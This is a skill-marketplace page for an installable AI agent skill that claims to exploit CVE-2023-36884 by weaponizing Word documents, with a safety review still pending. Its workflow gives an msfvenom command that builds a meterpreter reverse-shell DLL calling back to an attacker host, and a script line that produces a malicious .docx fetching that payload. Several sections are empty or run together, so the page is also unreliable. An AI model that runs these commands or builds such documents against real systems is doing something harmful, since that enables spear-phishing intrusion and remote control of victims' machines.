# Cve 2023 36884 Office Rce

> Exploit CVE-2023-36884, a critical Remote Code Execution vulnerability in Windows and Office associated with the Storm-0978 APT. This skill covers the weaponization of malicious Word documents to achieve code execution upon opening, bypassing Mark-of-the-Web (MotW) defenses.

- Skill: `shulkwisec/cve-2023-36884-office-rce` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds add shulkwisec/cve-2023-36884-office-rce`
- Raw SKILL.md: https://api.skillmd.com/api/skills/shulkwisec/cve-2023-36884-office-rce/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- License: Apache-2.0
- Author: ShulkwiSEC (https://skillmd.com/u/shulkwisec)
- Updated: 2026-09-08
- Page: https://skillmd.com/skills/shulkwisec/cve-2023-36884-office-rce

---


# Exploiting CVE-2023-36884 (Office RCE)

## When to Use
- When conducting advanced Red Team operations where initial access relies on sophisticated spear-phishing campaigns.
- To demonstrate the impact of unpatched Office and Windows environments, especially regarding vulnerabilities actively exploited by Advanced Persistent Threats (APTs).


## Prerequisites
- Authorized scope and rules of engagement for the target environment
- Appropriate tools installed on the attack/analysis platform
- Understanding of the target technology stack and architecture
- Documentation template ready for findings and evidence capture

## Workflow

### Phase 1: Understanding CVE-2023-36884

```text
# Concept: CVE-2023-36884 ```

### Phase 2: Payload Generation

```bash
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll > payload.dll
```

### Phase 3: Weaponizing the Office Document

```bash
# python3 weaponize_doc.py -t template.docx -p payload.dll -u http://10.10.10.10/payload.dll -o malicious.docx
```

### Phase 4: Delivery and Execution

```text
# ```

#### Decision Point 🔀
```mermaid
flowchart TD
    A[Craft Document ] --> B{MotW Bypassed ]}
    B -->|Yes| C[Achieve Execution ]
    B -->|No| D[Modify Payload ]
```

## 🔵 Blue Team Detection & Defense
- **Patch Management**: **Attack Surface Reduction (ASR)**: **MotW Enforcement**: Key Concepts
| Concept | Description |
|---------|-------------|
## Output Format
```
Cve 2023 36884 Office Rce — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]

Findings Summary:
  [Finding 1]: [Severity] — [Brief description]
  [Finding 2]: [Severity] — [Brief description]

Detailed Results:
  Phase 1: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

  Phase 2: [Phase name]
    - Result: [Outcome]
    - Evidence: [Screenshot/log reference]
    - Impact: [Business impact assessment]

Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
  1. [Immediate remediation step]
  2. [Long-term hardening measure]
  3. [Monitoring/detection improvement]
```


## 📚 Shared Resources
> For cross-cutting methodology applicable to all vulnerability classes, see:
> - [`_shared/references/elite-chaining-strategy.md`](../_shared/references/elite-chaining-strategy.md) — Exploit chaining methodology and high-payout chain patterns
> - [`_shared/references/elite-report-writing.md`](../_shared/references/elite-report-writing.md) — HackerOne-optimized report writing, CWE quick reference
> - [`_shared/references/real-world-bounties.md`](../_shared/references/real-world-bounties.md) — Verified disclosed bounties by vulnerability class

## References
- MSRC: [CVE-2023-36884 - Office and Windows HTML Remote Code Execution Vulnerability](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884)
- Microsoft Security Blog: [Storm-0978 attacks reveal financial and espionage motives](https://www.microsoft.com/en-us/security/blog/2023/07/11/storm-0978-attacks-reveal-financial-and-espionage-motives/)

